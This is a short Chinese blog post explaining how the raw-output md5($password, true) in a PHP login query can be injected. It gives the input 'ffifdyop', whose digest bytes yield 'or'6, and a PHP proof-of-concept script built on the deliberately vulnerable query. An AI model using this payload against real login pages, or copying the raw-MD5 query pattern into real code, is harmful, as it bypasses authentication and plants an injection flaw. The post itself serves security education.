MD5加密后的SQL 注入

转自:http://www.joychou.org/index.php/web/SQL-injection-with-raw-MD5-hashes.html?utm_source=tuicool

今天看到 $sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'"; 这样一个sql,其实可以注入。

思路比较明确,当md5后的hex转换成字符串后,如果包含 'or'<trash> 这样的字符串,那整个sql变成

SELECT * FROM admin WHERE pass = ''or'6<trash>'

很明显可以注入了。

难点就在如何寻找这样的字符串,我只是顺手牵羊,牵了一个。。

提供一个字符串:ffifdyop

md5后,276f722736c95d99e921722cf9ed621c

再转成字符串: 'or'6<trash>

测试代码:

<?php 
error_reporting(0);
$link = mysql_connect('localhost', 'root', '');
if (!$link) { 
  die('Could not connect to MySQL: ' . mysql_error()); 
} 
// 选择数据库
$db = mysql_select_db("test", $link);
if(!$db)
{
  echo 'select db error';
  exit();
}
// 执行sql
$password = "ffifdyop";
$sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";
var_dump($sql);
$result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' );
$row1 = mysql_fetch_row($result);
var_dump($row1);
mysql_close($link);
?>

效果:

阅读更多
想对作者说点什么?

博主推荐

换一批

没有更多推荐了,返回首页